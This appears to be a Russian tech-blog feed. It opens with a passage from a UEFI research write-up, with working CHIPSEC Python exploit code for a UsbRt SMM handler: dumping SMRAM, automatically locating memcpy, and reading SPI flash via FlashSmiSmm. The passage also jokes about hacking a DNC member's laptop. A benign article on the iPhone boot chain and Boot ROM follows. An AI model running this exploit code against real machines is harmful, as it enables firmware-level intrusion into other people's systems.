Как мы уже могли заметить, часть используемых данных при работе SMM хранится вне SMRAM. Некоторые структуры инициализируются в процессе работы фазы DXE, и по завершению этой фазы остаются висеть мертвым грузом в зарезервированной памяти, лишая ОС возможности воспользоваться ей. В таких структурах иногда можно обнаружить указатели в область SMRAM. При изучении происхождения этих структур можно наткнуться на очень полезные указатели.

Хорошим примером такой структуры является SMM_CORE_PRIVATE_DATA. Даже название уже интригует. Эти "приватные данные" легко находятся по сигнатуре "smmc" в зарезервированных областях памяти. Структура описана в репозитории EDK2:

typedef struct {  UINTN                           Signature;  ///  /// The ImageHandle passed into the entry point of the SMM IPL.  This ImageHandle  /// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded  /// Image Protocol for each SMM Driver that is dispatched by the SMM Core.  ///  EFI_HANDLE                      SmmIplImageHandle;  ///  /// The number of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.  ///  UINTN                           SmramRangeCount;  ///  /// A table of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.  ///  EFI_SMRAM_DESCRIPTOR            *SmramRanges;  ///  /// The SMM Foundation Entry Point.  The SMM Core fills in this field when the  /// SMM Core is initialized.  The SMM IPL is responsible for registering this entry  /// point with the SMM Configuration Protocol.  The SMM Configuration Protocol may  /// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL  /// sets up a protocol notification on the SMM Configuration Protocol and registers  /// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is  /// available.  ///  EFI_SMM_ENTRY_POINT             SmmEntryPoint;  ///  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.  ///  BOOLEAN                         SmmEntryPointRegistered;  ///  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.  ///  BOOLEAN                         InSmm;  ///  /// This field is set by the SMM Core then the SMM Core is initialized.  This field is  /// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in  /// the SMM IPL.  ///  EFI_SMM_SYSTEM_TABLE2           *Smst;  ///  /// This field is used by the SMM Communication Protocol to pass a buffer into  /// a software SMI handler and for the software SMI handler to pass a buffer back to  /// the caller of the SMM Communication Protocol.  ///  VOID                            *CommunicationBuffer;  ///  /// This field is used by the SMM Communication Protocol to pass the size of a buffer,  /// in bytes, into a software SMI handler and for the software SMI handler to pass the  /// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.  ///  UINTN                           BufferSize;  ///  /// This field is used by the SMM Communication Protocol to pass the return status from  /// a software SMI handler back to the caller of the SMM Communication Protocol.  ///  EFI_STATUS                      ReturnStatus;  EFI_PHYSICAL_ADDRESS            PiSmmCoreImageBase;  UINT64                          PiSmmCoreImageSize;  EFI_PHYSICAL_ADDRESS            PiSmmCoreEntryPoint;} SMM_CORE_PRIVATE_DATA;

В нашем случае нам бы очень пригодился указатель PiSmmCoreImageBase, по которому располагается модуль PiSmmCore. К сожалению, наша система старовата, и настоящая структура не совсем соответствует описанию. До некоторого момента последних трёх указателей в этой структуре не существовало, как можно заметить в репозитории. В таком случае мы вынуждены прибегнуть к иному способу.

Иной способ

Мы уже знаем, что в памяти располагаются структуры usb_data и usb_protocol. Вполне возможно, что эти структуры содержат указатели на функции внутри модуля UsbRt.

Если мы вернёмся к месту инициализации указателя usb_data в модуле UsbRt, то можем заметить, что в коде происходит замена некоторых указателей в протоколе EFI_USB_PROTOCOL:

Указателями являются функции модуля UsbRt - как раз то, что нам надо. Сконцентрируемся на указателе по смещению +0x50 (+0xA), поскольку он наиболее близок к базовому адресу (это пока не важно).

Извлечь этот указатель достаточно просто:

for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):    if mem_read(addr * PAGE_SIZE, 4) == b'USBP':        usb_protocol = addr * PAGE_SIZE        breakfuncptr = unpack('<Q', mem_read(usb_protocol + 0x50, 8))[0]

А теперь всё просто: открываем UsbRt в дизассемблере, сопоставляем виртуальный адрес функции с фактическим, находим функцию memcpy, вычисляем разницу между двумя функциями, прибавляем разницу к фактическому адресу полученной функции. Физический адрес функции memcpy получен!

Наш эксплоит теперь можно дополнить. Мы можем, например, сделать полный дамп SMRAM. И возможность передавать аргументы наконец пригодилась:

memcpy = 0x8d5afdb0src = cs.cpu.get_SMRAM()[0]  # начало SMRAMcnt = cs.cpu.get_SMRAM()[2]  # размер SMRAMdst = mem_alloc(cnt, 0xffffffff)[1]argc = 3argv = mem_alloc(argc << 3, 0xffffffff)[1]mem_write(argv, 8, dst)mem_write(argv + 8, 8, src)mem_write(argv + 0x10, 8, cnt)struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуруmem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветерmem_write(struct_addr + 0x3, 8, pack('<Q', argv))  # указатель на аргументыmem_write(struct_addr + 0xf, 4, pack('<I', argc << 3))  # размер аргументовmem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))mem_write(usb_data + 0x78, 8, pack('<Q', memcpy))intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)with open('smram_dump.bin', 'wb') as f:    f.write(mem_read(dst, cnt))

Дамп SMRAM получили. Но на душе все равно как-то гадко. Мы ведь вручную сопоставили адреса функций и посчитали разницу до функции memcpy. Нельзя ли сделать это автоматически?

Автоматизируем вычисления

Давайте представим, что мы эксплуатируем ноутбук какого-нибудь члена Национального комитета Демократической партии США. Нам не до сопоставления функций, нужно сделать все в один клик. Более того, нельзя просто взять и положить рядом извлеченный модуль UsbRt. Версия может же отличаться.

Для извлечения актуальной версии модуля идеально подходит специальный регион физической памяти, в которой расположена отображённая на память (memory mapped) флеш-память. Смапленную флеш-память можно прочитать в самом конце 4 ГБ-ного пространства физической памяти. Начало региона зависит от размера флеш-памяти.

Для нас достаточно знать начало и размер BIOS региона. В этом нам поможет регистр BIOS_BFPREG, который находится в SPIBAR. В нем хранятся значения базового смещения и предела BIOS региона внутри флеш-памяти. Это позволяет нам вычислить размер BIOS региона. Поскольку BIOS регион принято хранить последним, то на основе размера этого региона можно определить физический адрес региона в смапленной флеш-памяти.

base = cs.read_register_field('BFPR', 'PRB') << 12limit = cs.read_register_field('BFPR', 'PRL') << 12bios_size = limit - base + 0x1000bios_addr = 2**32 - bios_size

Благодаря широким возможностям фреймворка CHIPSEC у нас есть возможность в автоматизированном режиме распаковать считанную из памяти часть прошивки и извлечь необходимый модуль.

from uuid import UUIDfrom chipsec.hal.uefi import UEFIfrom chipsec.hal.spi_uefi import build_efi_model, search_efi_tree, EFI_MODULE, EFI_SECTIONSECTION_PE32 = 0USBRT_GUID = UUID(hex='04EAAAA1-29A1-11D7-8838-00500473D4EB')uefi = UEFI(cs)bios_data = mem_read(bios_addr, bios_size)def callback(self, module: EFI_MODULE):    # PE32 секция сама по себе не имеет GUID, нужно обращаться к родителю    guid = module.Guid or cast(EFI_SECTION, module).parentGuid    return UUID(hex=guid) == USBRT_GUIDtree = build_efi_model(uefi, bios_data, None)modules = search_efi_tree(tree, callback, SECTION_PE32, False)usbrt = modules[0].Image[module.HeaderSize:]

Далее пойдёт очень хитрая математика:

  • У нас есть указатель на функцию из UsbRt, который был наиболее близок к базовому адресу модуля (вот теперь это стало важно);

  • Из него можно вычесть смещение входной точки, что приблизит нас к нашей цели;

  • Осталось вычислить разницу между входной точкой и имеющейся функцией;

  • Для начала можно выравнить указатель вверх до 0x1000 байт, все равно базовый адрес тоже будет выравнен;

  • Затем можно вычесть 0x2000 байт. Почему именно это число? Оно было установлено путем обсервации прошивок других версий и других вендоров.

    def align_up(x, a):  a -= 1  return ((x + a) & ~a)nthdr_off, = unpack_from('=I', usbrt, 0x3c) ep, = unpack_from('=I', usbrt, nthdr_off + 0x28)imagebase = funcptr imagebase -= ep  imagebase = align_up(imagebase, 0x1000) imagebase -= 0x2000
    

Кстати, занимательный факт: в UEFI модулях SectionAlignment равняется FileAlignment (0x20), из-за чего все смещения внутри файла на диске совпадают со смещениями в образе модуля в памяти. Это сделано для экономии места в регионе SMRAM.

Базовый адрес получен. Дело за малым - определить функцию memcpy. В прошивках UEFI используется memcpy, которая реализована в EDK2 (она на самом деле называется CopyMem). Поэтому она должна совпадать у всех вендоров. Так что будет достаточно безопасно реализовать поиск функции по начальным опкодам.

import rePUSH_RSI_PUSH_RDI = b'\x56\x57'REP_MOVSQ = b'\xf3\x48\xa5'# ищем rep movsqfor m in re.finditer(REP_MOVSQ, usbrt):    rep_off = m.start()    # теперь в обратном направлении push rsi; push rdi (начало функции)    entry_off = usbrt.rfind(PUSH_RSI_PUSH_RDI, 0, rep_off)    # на всякий случай проверяем разницу между найденными опкодами    if rep_off - entry_off > 0x40:        # не походит на правду, пропустим от греха подальше        continue    memcpy = imagebase + entry_off    break

Теперь в нашем арсенале полностью автоматизированный эксплоит, позволяющий не только исполнять код внутри SMRAM, но и произвольно читать и писать в любую область физической памяти.

Куда двигаться дальше

Возможность свободно взаимодействовать с памятью SMRAM - это, конечно, здорово. Но без возможности закрепиться в прошивке полноценная атака не получится, поскольку после перезагрузки системы память сбросится, очевидно. Следующим шагом будет поиск возможности модифицировать прошивку, которая хранится в SPI флеш-памяти.

В первую очередь стоит ознакомиться с результатами тестов CHIPSEC, которые покажут наличие защитных функций флеш-памяти:

[*] running module: chipsec.modules.common.bios_wp[x][ =======================================================================[x][ Module: BIOS Region Write Protection[x][ =======================================================================[*] BC = 0x00000A8A << BIOS Control (b:d.f 00:31.5 + 0xDC)    [00] BIOSWE           = 0 << BIOS Write Enable    [01] BLE              = 1 << BIOS Lock Enable    [02] SRC              = 2 << SPI Read Configuration    [04] TSS              = 0 << Top Swap Status    [05] SMM_BWP          = 0 << SMM BIOS Write Protection    [06] BBS              = 0 << Boot BIOS Strap    [07] BILD             = 1 << BIOS Interface Lock Down[!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used)[*] BIOS Region: Base = 0x00700000, Limit = 0x00FFFFFFSPI Protected Ranges------------------------------------------------------------PRx (offset) | Value    | Base     | Limit    | WP? | RP?------------------------------------------------------------PR0 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0PR1 (88)     | 00000000 | 00000000 | 00000000 | 0   | 0PR2 (8C)     | 00000000 | 00000000 | 00000000 | 0   | 0PR3 (90)     | 00000000 | 00000000 | 00000000 | 0   | 0PR4 (94)     | 00000000 | 00000000 | 00000000 | 0   | 0[!] None of the SPI protected ranges write-protect BIOS region[!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region[-] FAILED: BIOS is NOT protected completely

По результатам тестов можно понять, что в системе действует защита BIOSWE=0 + BLE=1. Это означает, что стандартными функциями записи во флеш-память (доступны в CHIPSEC) у нас не получится что-либо изменить в прошивке. Механизм SPI Protected Ranges не сконфигурирован на этой системе. Это значит, что мы могли бы внести изменения при помощи модуля SMM. Однако, есть еще два механизма, которые могут помешать нам это сделать.

CHIPSEC не может проверить наличие этих механизмов, но в нашей системе они существуют. Эти механизмы - Intel BIOS Guard и Intel Boot Guard. Первый механизм не даст нам произвести запись в кодовые регионы BIOS, а второй, при условии, что мы все же смогли переписать BIOS, не позволит модифицированной прошивке загрузиться при запуске системы.
Но мы все же рассмотрим как можно работать с SPI посредством SMM-драйвера.

Возвращаемся к UEFITool и ищем модуль, название которого как-то связано с Flash и SMI. Идеальным кандидатом является модуль FlashSmiSmm. При его детальном изучении в дизассемблере может сложиться впечатление, что он не регистрирует никаких software прерываний, в нем даже EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID не фигурирует! На самом деле этот модуль регистрирует другой тип software прерывания, который называется ACPI SMI. Чтобы определить место регистрации ACPI SMI в IDA Pro можно воспользоваться функцией "List cross references to..." на поле EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister в окне структур.

Модуль регистрирует один ACPI SMI, предварительно считав UEFI переменную "FlashSmiBuffer", название которой недвусмысленно говорит о том, что в переменной хранится указатель на буфер для работы с флеш-памятью.

Конкретный ACPI SMI идентифицируется своим GUID, который указывается вторым аргументом функции SmiHandlerRegister (HandlerType). В нашем случае это 4052aca8-8d90-4f5a-bfe8-b895b164e482. Он нам далее понадобится. Теперь рассмотрим непосредственно саму функцию обработчика.

FlashSmiBuffer действительно используется для передачи задачи и аргументов. Если переключить отображение констант на символьное представление, то всё становится более менее очевидно:

  • Fe - Flash Erase

  • Fu - Flash Read (тут чисто логически, не понятно при чем тут "u")

  • Fw - Flash Write

  • Wd - Write Disable

  • We - Write Enable

Осталось лишь написать прототип для работы с SPI флеш-памятью, учитывая то, что обработчик реализован в виде ACPI SMI.

HANDLER_GUID = '4052aca8-8d90-4f5a-bfe8-b895b164e482'flash_addr = 0x200000size = 0x1000output = mem_alloc(size, 0xffffffff)[1]smi_buffer = unpack('<Q', cs.helper.get_EFI_variable('FlashSmiBuffer', HANDLER_GUID))[0]mem_write(smi_buffer, 4, b'FSMI')  # сигнатураmem_write(smi_buffer + 0x28, 2, b'uF')  # команда чтения с флеш-памятиmem_write(smi_buffer + 4, 4, pack('<I', flash_addr))  # адрес флеш-памятиmem_write(smi_buffer + 0x18, 4, pack('<I', size))  # размерmem_write(smi_buffer + 0x90, 4, pack('<I', output))  # выходной буферintr = Interrupts(cs)intr.send_ACPI_SMI(0, 1, intr.find_ACPI_SMI_Buffer(), None, HANDLER_GUID, '')

Таким незатейливым способом мы смогли заставить SMM драйвер прочитать для нас часть прошивки.

Заключение

Препарировать UEFI BIOS довольно интересно, хоть и немного однообразно. Когда надоест искать и находить RCE в SMM, можно переключиться на BIOS Guard и Boot Guard, в которых тоже можно найти кучку уязвимостей, а сам процесс поиска доставит кучу удовольствия. А если и это надоест, то самое время переключиться на изучение самого сложного, что можно найти в современных PC - Intel ME.

Подробнее..

Процесс загрузки iPhone. Часть 1 Boot ROM

10.05.2021 18:20:09 | Автор: admin

Здравствуйте, коллеги.

Мне показалось интересным поделиться ссообществом информацией овнутреннем устройстве техники Apple, так как статей наэту тему крайне мало. Начать ярешил сiPhone. Поэтому предлагаю вам вместе сомной попробовать разобраться вработе этого загадочного девайса.

Япопытаюсь ориентироваться насамые последние модели. Буду рад, если ваши комментарии укажут наошибки ипомогут нам всем лучше понять, как работают устройства, которые нас окружают.

Введение

Незнаю, удивит это кого-нибудь или нет, нозапуск iPhone мало чем отличается отпроцесса запуска IBM-PC-совместимого компьютера ввиде системного блока под столом, окотором написано уже достаточно много. Наверное поэтому так мало статей наподобную тематику, относящихся кмобильным устройствам.

Если смотреть напроцесс запуска iPhone, как нацелостную картину, тоонпредставляет собой цепочку доверительных переходов отодной стадии загрузки кдругой, которая так иназывается Chain oftrust. Вобщем случае, впроцессе участвуют 3независимых программы: Boot ROM, iBoot иядро XNU (расположены впорядке выполнения). Передача управления отодного кдругому происходит после проверки подлинности того, кому управление следует передать. Каждый изних имеет криптографическую подпись Apple. Возникает резонный вопрос: как проверяется подлинность первого шага? Ответ: никак.

Самым первым получает управление Boot ROM. Онявляется неизменяемым компонентом системы, прошивается назаводе-изготовителе ибольше неменяется. Его невозможно обновить (вотличие отBIOS иUEFI). Следовательно, нет смысла проверять его подлинность. Поэтому онимеет соответствующий статус: Аппаратный корень доверия (Hardware root oftrust). Впамять Boot ROM вшивается публичный ключ корневого сертификата Apple (Apple Root certificate authority (CA) public key), спомощью которого проверяется подлинность iBoot. Всвою очередь iBoot проверяет своим ключом подлинность ядра XNU. Такая цепочка проверок позволяет запускать только доверенноеПО.

Chain of trustChain of trust

Поестественным причинам, слабым местом вэтой цепочке является код Boot ROM. Именно засчет уязвимостей вэтой части системы иневозможности еёобновить, удаётся обходить проверку подлинности ипроизводить Jailbreak (побег изтюрьмы). Поэтому разработчики Boot ROM стараются невключать внего лишний функционал. Тем самым сокращается вероятность возникновения ошибок вкоде, поскольку оностается минималистичным. Собранный образ имеет размер около 150Кбайт. Каждый этап отрабатывает независимо отдругих, позаранее известным адресам ивыполняет четко обозначенную задачу. Несмотря наэто прошивка Boot ROM иiBoot компилируются изодной кодовой базы. Поэтому имеют схожие подсистемы. Они делят между собой базовые драйверы устройств (AES, ANC, USB), примитивные абстракции (подсистема задач, куча), библиотеки (env, libc, image), средства отладки иплатформозависимый код (работа сSoC, MMU, NAND). Каждый последующий элемент цепочки является более сложной системой, чем предыдущий. Например iBoot уже поддерживает файловые системы, работу сизображениями, дисплей ит.д.

Для лучшего понимания описываемых компонентов приведу таблицу.

Задача

Проверка подписи

Известные аналоги

Место исполнения

1. Boot ROM

Найти загрузчик и передать ему управление

Нет

BIOS, UEFI, coreboot

SRAM

2. iBoot

Найти ОС и инициировать её загрузку

Да

GNU GRUB, Windows Bootmgr, efibootmgr

SDRAM

3. XNU

Обеспечить безопасный интерфейс к железу

Да

Linux, NT kernel, GNU Hurd

SDRAM

4. iOS

Выполнение пользовательских задач

Нет

Ubuntu, Windows, Android

SDRAM

Питание

При выключенном устройстве отсутствует подача питания нацентральный процессор. Однако критически важные компоненты системы обеспечиваются энергией постоянно (контроллеры беспроводного сетевого соединения невходят всписок важных, поэтому смартфон неможет передавать никаких, втом числе секретных, данных ввыключенном состоянии исоответственно отследить его невозможно). Одним изтаких компонентов является интегральная схема управления питанием (PMIC Power Management Integrated Circuit). Вкачестве источника питания для PMIC может служить аккумулятор сзарядом, внешний источник, соединенный разъемом Lightning, или беспроводное зарядное устройство (посредством электромагнитной индукции). Нодля успешной загрузки операционной системы требуется наличие заряда наисправном аккумуляторе. Хотя теоретически устройство может функционировать подпитывая себя исключительно внешними источниками. Кроме этого укаждого источника питания имеется свой отдельный контроллер, новконтексте этой статьи ихдостаточно лишь иметь ввиду.

Для подачи питания нацентральный процессор PMIC должен получить сигнал настарт процедуры Power-On. Подать такой сигнал можно двумя способами: подключив устройство квнешнему источнику питания или спомощью боковой кнопки (длинным нажатием). Рассмотрим более детально классический способ включения нажатием кнопки.

Исторически так сложилось, что для запуска портативных устройств используется длинное нажатие. Вероятно, это сделано для защиты отслучайного включения-выключения устройства. Вцелом, ничто немешает использовать короткое нажатие для достижения тойже цели. Можно вспомнить, что если попытаться науже работающем устройстве нажать боковую кнопку тем идругим способом, товрезультате мыполучим отклик насовершенно разные действия. Изэтого мыможем сделать вывод, что существует механизм, который обеспечивает такую возможность. Обычно втандеме сPMIC используется небольшой Side-Button контроллер, взадачи которого, среди прочего, входит: отличить метод нажатия накнопку (длинный откороткого). Контроллер кнопки может питаться оттогоже источника, что иPMIC или отсамого PMIC. Контроллер может быть выполнен ввиде D-триггера сасинхронным сбросом. Висходном состоянии наасинхронный вход сброса CLR поступает сигнал. Всвою очередь, наэтом входе установлена RC-цепь, реализующая постоянную времени задержки.

Приблизительная схема работы боковой кнопкиПриблизительная схема работы боковой кнопки

Простым нажатием кнопки мызамыкаем электрическую цепь триггера, инавыход CTLx подаётся результирующий сигнал по-умолчанию. Для подачи сигнала наинициализацию запуска устройства время удержания кнопки питания должно превышать время задержки асинхронного сброса. Вовремя удержания кнопки сигнал наCLR входе затухает, ипри очередном такте синхронизирующего сигнала CLK триггер меняет свое состояние, выдавая навыходе CTLx другое значение, сообщающее PMIC начать процедуру запуска устройства посредством подачи питания нацентральный процессор.

SoC и CPU

Массовое производство высокотехнологичных полупроводниковых устройств иподдержание самих фабрик поихизготовлению является довольно дорогой задачей. Поэтому вмире современи массовой популярности технологий, основанных наполупроводниковых устройствах, существует тенденция заключения контракта сфирмами, специализирующимися именно напроизводстве полупроводников, для которых такая контрактная работа иявляется бизнесом. Фабрики таких фирм-изготовителей чаще всего находятся встранах сотносительно дешевой рабочей силой. Поэтому для изготовления систем накристалле (System onaCrystal SoC) уApple заключен многолетний контракт сизготовителем полупроводниковых устройств изТайваня TSMC (Taiwan Semiconductor Manufacturing Corporation). Инженеры Apple проектируют, разрабатывают ипрограммируют устройства, тестируют ихиспользуя опытное производство. Затем составляется спецификация, покоторой компания-изготовитель должна будет произвести ипоставить оговоренное количество экземпляров. При этом, все права целиком иполностью принадлежат компании Apple.

SoC инкапсулирует всебя множество электронных элементов составляющих аппаратный фундамент устройства. Среди которых, непосредственно, центральный процессор, оперативная память, графический процессор, ИИ-ускоритель, различные периферийные устройства идругие. Имеется также исвой контроллер питания. При достижении стабильного уровня напряжения наконтроллере питания SoC запитываются внутренние компоненты. Практически каждый микропроцессор имеет специальное устройство для сброса текущих параметров иустановки ихвисходное состояние. Такое устройство называется генератор начального сброса (Power-on reset/ PoR generator). Восновные задачи этого генератора входят: ожидание стабилизации питания, старт тактовых генераторов исброс состояний регистров. PoR генератор продолжает держать процессор врежиме сброса некоторое непродолжительное время, которое заранее известно.

Процедура Power-on resetПроцедура Power-on reset

Поскольку вэтом случае мыимеем дело сещё одним таймером, томожно предположить, что это также некая RC-цепь стриггером. Подостижении установленного порога напряжения наэтой цепи триггер меняет состояние (таким образом заканчивается таймаут сброса), PoR генератор становится неактивным, центральный процессор выходит изрежима сброса иначинает свою работу.

Центральный процессор должен начать работу свыполнения определенной программы. Для этого ему необходимо знать, где искать эту программу. Своей работой PoR генератор установил регистры взначения по-умолчанию (исходные значения). Врегистр счетчика команд (Program Counter/PC register) установился адрес первой инструкции впространстве физической памяти. Это значение называется вектором сброса (Reset vector). Конкретное значение вектора сброса определяется микроархитектурой процессора итеоретически может различаться среди разных поколений процессоров, новнашем случае это адрес 0100000000. Нааппаратном уровне определенные диапазоны адресов закреплены зафизическими устройствами хранения исоставляют вместе физическое адресное пространство (непутать свиртуальным адресным пространством, которое доступно изоперационной системы). Впроцессе дальнейшего запуска устройства диапазон адресов может быть переназначен впроизвольном порядке для более эффективной работы спамятью.

Следует заметить, что современные процессоры имеют несколько ядер, каждое изкоторых может независимо исполнять инструкции. Чтобы избежать неопределенности, какое изядер должно начать выполнение первой инструкции, производитель нааппаратном уровне выделяет основное ядро (primary core), которое ибудет производить загрузку. Вдальнейшем остальные ядра подключаются кработе программно.

Обычно вектор сброса указывает наячейку впостоянной памяти (Read only memory ROM). Она располагается внутри SoC. Эта память является энергонезависимой (сохраняет свое состояние после отключения питания) инеперезаписываемой (код программы прошивается туда единожды при производстве устройства). Записанная при производстве программа иявляется отправной точкой работы центрального процессора. Модуль постоянной памяти исама программа, записанная туда называются Boot ROM. Рассмотрим его задачи иработу более подробно.

Boot ROM

Как упоминалось ранее, Boot ROM это чип, включаемый внутрь SoC. Наэтапе изготовления нафабрике вего память записывается специальная программа-загрузчик. Загрузчик проектируется ипрограммируется вApple. Код написан наязыке Cс вызовами ассемблерных процедур, выполняющих машинно-зависимые команды процессора. Понулевому адресу впространстве памяти Boot ROM, скоторого иначнет выполнение процессор, располагается входная точка скомпилированной программы-загрузчика, аименно стандартная метка _start. Код, скоторого всё начинается, полностью состоит изассемблерных инструкций arm64. Онпроизводит следующие действия:

  1. Включается кэш второго уровня (L2 cache) и конфигурируется для использования в качестве временной оперативной памяти (объем 2 MiB).

  2. Поскольку диапазон рабочих адресов памяти статически определен, выполняется проверка текущего адреса. Если он неверен, то запускается цикл релокации на корректный адрес.

  3. Устанавливается виртуальный адрес функции main (начало кода на языке C) в регистр LR. Так что при выполнении инструкции ret управление перейдет в функцию main.

  4. Инициализируются указатели на начало стека. Задаются адреса для стека исключений, прерываний, данных.

  5. Создаются таблицы страниц и создаётся защита кучи от переполнения.

  6. Происходит копирование данных в оперативную память, а затем передача управления в функцию main.

Разметка оперативной памяти для Boot ROMРазметка оперативной памяти для Boot ROM

Практически весь код, который будет исполняться дальше, написан наязыкеC.

Сперва функция main запускает процедуру программной инициализации CPU.
Стоит отдельно оговорить, что процессор имеет несколько уровней привилегий для выполнения инструкций, называемых Exception Levels (EL): EL0, EL1, EL2, EL3. Цифра наконце обозначает уровень привилегий. Чем она выше тем выше уровень доступа. Внутри операционной системы пользователь имеет самый низкий уровень привилегий инеможет полностью управлять состоянием машины (вцелях собственнойже безопасности). Множество регистров икоманд недоступно. Однако поначалу, процессор начинает работу ссамого высокого уровня привилегий, поэтому загрузчик может успешно произвести начальную настройку оборудования.
Возвращаясь кпроцедуре программной инициализации CPU опишем еёосновные шаги.

  1. Конфигурация регистра безопасности (Secure Configuration Register - SCR): выставляются биты стандартных режимов работы для обработчика аварийного завершения и обработчиков аппаратных прерываний (FIQ и IRQ).

  2. Сброс кэшей процессора для инструкций и данных.

  3. Конфигурация регистра управления системой (System Control Register: SCTLR): включается бит проверки выравнивания стека, первичная настройка и активация блока управления памятью (Memory Management Unit - MMU, является частью CPU), отключение возможности выполнения кода из сегментов памяти, помеченных как доступные для записи (установка Execute Never / XN бита аналог NX-бита в x86 системах), активация кэша инструкций и кэша данных.

  4. Активируется сопроцессор для операций с плавающей точкой.

Управление возвращается вфункцию main, ипродолжается работа загрузчика.

Следующим шагом происходит программная настройка тактовых генераторов взначения по умолчанию:

  1. Устанавливается частота осциллятора контроллера питания.

  2. Инициализация подсистемы динамического масштабирования частоты и напряжения (DVFS - Dynamic voltage and frequency scaling).

  3. Подача питания на осцилляторы устройств, участвующих в загрузке BootROM.

  4. Подстановка характеристик частоты и напряжения для режима BootROM.

  5. Настройка подсистемы фазовой автоподстройки частоты (PLL - Phase Lock loop).

  6. Происходит включение сопроцессора защищенного анклава (SEP - Secure Enclave processor).

Сопроцессор защищенного анклава имеет свою собственную прошивку (sepOS), которая также проходит стадии безопасной загрузки ипроверки наподлинность. Нообэтом вдругой статье.

Далее следует инициализация шины внутренней памяти процессора (онаже кэш-память). Роль кэш памяти играет статическая памяти спроизвольным доступом (Static Random Access Memory SRAM). Непутать сдинамическим типом памяти, которую мыназываем оперативной. Она обладает большим объемом (Dynamic Random Access Memory DRAM). Различие втом, что ячейки SRAM основаны натриггерах, ауDRAM наконденсаторах. Память натриггерах требует большее количество транзисторов исоответственно занимает больше места наподложке. Всвою очередь, ячейки памяти наконденсаторах современем теряют заряд. Поэтому необходимо периодически производить холостую перезапись вфоновом режиме, что несколько влияет набыстроту взаимодействия. Таким образом SRAM используется вкачестве кэша (небольшой объем, быстрый доступ), аDRAM вкачестве основной памяти (больший объем, быстродействие вторично). НаSoC инициализируются линии контактов GPIO (General Purpose Input/Output) исоответствующий драйвер. Спомощью этих контактов следующим этапом, помимо прочего, проверяется состояние кнопок устройства, нажатие которых определяет необходимость принудительной загрузки вDFU режиме (Device Firmware Upgrade mode режим обновления прошивки устройства или восстановления). Описание работы этого режима заслуживает отдельной статьи, поэтому небудем касаться его сейчас.

Представляя собой минималистичную разновидность базовой системы ввода/вывода (BIOS), Boot ROM выделяет соответствующие абстракции: подсистема задач (аналог процессов) икуча (heap). Ипроизводит ихинициализацию. Подсистема задач позволяет выполнять инструкции внесколько потоков, хотя эта возможность неиспользуется вBoot ROM.

Идем дальше: инициализация аппаратного обеспечения, специфичного для конкретной SoC. Для последних моделей iPhone приблизительный список таков:

  1. Инициализация драйвера контроллера питания

  2. Инициализация драйвера системных часов

  3. Инициализация контроллера прерываний

  4. Старт таймеров

  5. Настройка контроллера питания и GPIO контактов для конкретной платформы

Настройка необходимого для старта оборудования выполнена, изапущены основные подсистемы. Затем выполняется программная проверка принудительной загрузки вDFU режиме. Наэтот раз таймер наотслеживание удержания соответствующих кнопок задается программно, после чего снимаются ихсостояния, ивзависимости отрезультата выполняется сброс системы напоследующую загрузку вDFU режиме, либо происходит выборка устройства, скоторого дальше производить загрузку.

Процесс запуска заходит вбесконечный цикл, вкотором можно задержаться неболее двух итераций. Если установлен DFU флаг, товкачестве устройства загрузки выбирается режим восстановления поUSB, иначе будет произведена загрузка сустройства по-умолчанию для конкретной платформы (внашем случае NAND флэш память).

if (dfu_enabled)   boot_fallback_step = -1;while (1) {  if (!get_boot_device(&device, &options))    break;  process_boot(device, options);  if (boot_fallback_step < 0)    continue;  boot_fallback_step++;}reset();

Устройство может впасть вбесконечный цикл перезагрузки, если невозможно определить конфигурацию выборки дальнейшего загрузчика (такое может произойти только если оборудование физически повреждено). При возникновении любой другой проблемы, устройство будет переведено врежим восстановления поUSB. Отсюда следует, что при исправном оборудовании невозможно сделать изустройства кирпич.

Apple использует особый формат файлов для хранения примитивных исполняемых файлов IMG4 (четвертая версия). Онпредставляет собой закодированные поDER схеме объекты стандарта ASN.1.

sequence [   0: string "IMG4"   1: payload   - IMG4 Payload, IM4P   2: [0] (constructed) [          manifest   - IMG4 Manifest, IM4M      ]]
sequence [    0: string "IM4P"    1: string type    - ibot, rdsk, sepi, ...    2: string description    - 'iBoot-6723.102.4'    3: octetstring    - the encrypted/raw data    4: octetstring    - containing DER encoded KBAG values (optional)        sequence [            sequence [                0: int: 01                1: octetstring: iv                2: octetstring: key            ]            sequence [                0: int: 02                1: octetstring: iv                2: octetstring: key            ]        ]]

Активируется утилита управления устройствами (UtilDM Utility Device Manager), инициализируются ANC (Abstract NAND Chip) драйвер ипроизводится сброс регистров контроллера флэш памяти. Затем дается команда NAND контроллеру перевести устройство врежим чтения, после чего изего памяти постранично считывается загрузчик iBoot. Изпрочитанных байтов генерируется экземпляр структуры файла образа IMG4.
Экземпляр содержит заголовки, служебную информацию иуказатель насам образ впамяти. Дальше поэтому указателю происходит обращение, ивыгрузка образа вбезопасный буфер. Там выполняется парсинг ивалидация образа. Изтекущих параметров системы собирается специальный объект окружение (environment) исопоставляется схарактеристиками образа. Проверяются заголовки, манифест, сравниваются хэши, происходит проверка подписи образа попубличному ключу Boot ROM (Apple Root CApublic key).

